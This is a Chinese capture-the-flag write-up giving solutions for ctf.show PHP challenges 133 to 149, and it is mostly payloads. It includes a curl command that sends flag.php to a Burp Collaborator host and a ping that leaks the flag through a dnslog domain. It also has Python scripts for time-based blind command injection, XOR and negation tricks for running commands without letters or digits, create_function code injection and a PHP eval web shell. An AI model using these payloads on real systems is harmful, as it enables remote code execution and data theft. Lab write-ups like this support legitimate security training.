ctf_show-php特性-133-149
133
这里限制了F只能取前6个字符,但这里可以用变量本身作为参数
这里给出羽师傅的解释
get传参 F=`$F `;sleep 3 经过substr($F,0,6)截取后 得到 `$F `; 也就是会执行 eval("`$F `;"); 我们把原来的$F带进去 eval("``$F `;sleep 3`"); 也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3"); 前面的命令我们不需要管,但是后面的命令我们可以自由控制。 这样就在服务器上成功执行了 sleep 3 所以 最后就是一道无回显的RCE题目了 ———————————————— 原文链接:https://blog.csdn.net/miuzzx/article/details/109197158
然后用burp的公网地址外带即可(注意system会自己输出,shell_exec也就是``会返回字符串,因此无输出)
http://006c6a9a-d926-48a7-8654-38c1269551ea.challenge.ctf.show/?F=`$F`; curl -X POST -F xx=@flag.php z55c4qucwi77mo3jgruxqlil0c63us.burpcollaborator.net
134
注意到
@parse_str($_SERVER['QUERY_STRING']); extract($_POST);
这里是get传入 _POST[key1]=36d&_POST[key2]=36d,会解析为post参数,最后对post参数再提取变量
135
过滤了curl,这里可以用ping带出,或者写入到一个文件再看即可
?F=`$F` ;nl flag.php>4.txt;
?F=`$F` ;uniq flag.php>4.txt;
ping:?F=`$F` ;ping `awk '/flag/' flag.php`.oywkie.dnslog.cn (直接带貌似只会带第一行)
136
注意这里是没回显的,curl,ping都过滤了,这里用tee命令(tee命令用于读取标准输入的数据,并将其内容输出成文件)
?c=ls /|tee 2
?c=cat /f149_15_h3r3|tee 3
注意没后缀,因为小数点过滤了,因此访问会下载文件,用记事本打开即可
137
考察这个call_user_func()的使用:
payload ctfshow=ctfshow::getFlag
138
见上题截图,另外一种调用方法
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
139
按照上一次脚本发现无法写入,可以通过脚本盲注
import requests import time import string str=string.ascii_letters+string.digits result="" for i in range(1,5): key=0 for j in range(1,15): if key==1: break for n in str: payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n) #print(payload) url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break if n=='9': key=1 result+=" "
import requests import time import string str=string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n) #print(payload) url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break
本质就是时间盲注,一位一位爆破
140
注意到弱等于
让intval($code)=0就行,方法有很多
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())
payload:f1=md5&f2=phpinfo
141
这里首先是php中数字运算和命令能一起执行,比如1-phpinfo() 会执行phpinfo
还发现过滤了字母数字,就是符号rce了
v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1
142
数学题,传入0即可
143
过滤了取反,加减号也没了,可以用乘除
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")* ?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*
144
意义不明的一题,从v3换成v2即可,v3限制一个长度,那就加减号
?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%93%8C);&v3=- ?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5);&v3=-
145
过滤了加减乘除,但是放出了取反,
可以用 v1|v3|v2,或者v1?v3:v2
|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)| 或者 ?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F):
146
同上
web147
对于第一个参数为空,函数名和第二个参数可用的情况,一般都是利用 create_function() 函数
第二个参数传入return(1);}任意代码;/* 即可
但是这里直接传没用,看wp
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
post:ctf=\create_function get: ?show=return(1);}system('cat flag.php');/*
web 148
还是无数字字母RCE,执行函数即可
("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");
预期解
$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* 其中"`{{{" ^ "?<>/"异或得到_GET $哈=_GET; $_GET[哼]($_GET[嗯]); ?哼=system&嗯=tac f*
web 149
经典条件竞争
非预期解:
GET ?ctf=index.php
POST show=<?php eval($_POST[hack]);?>
web150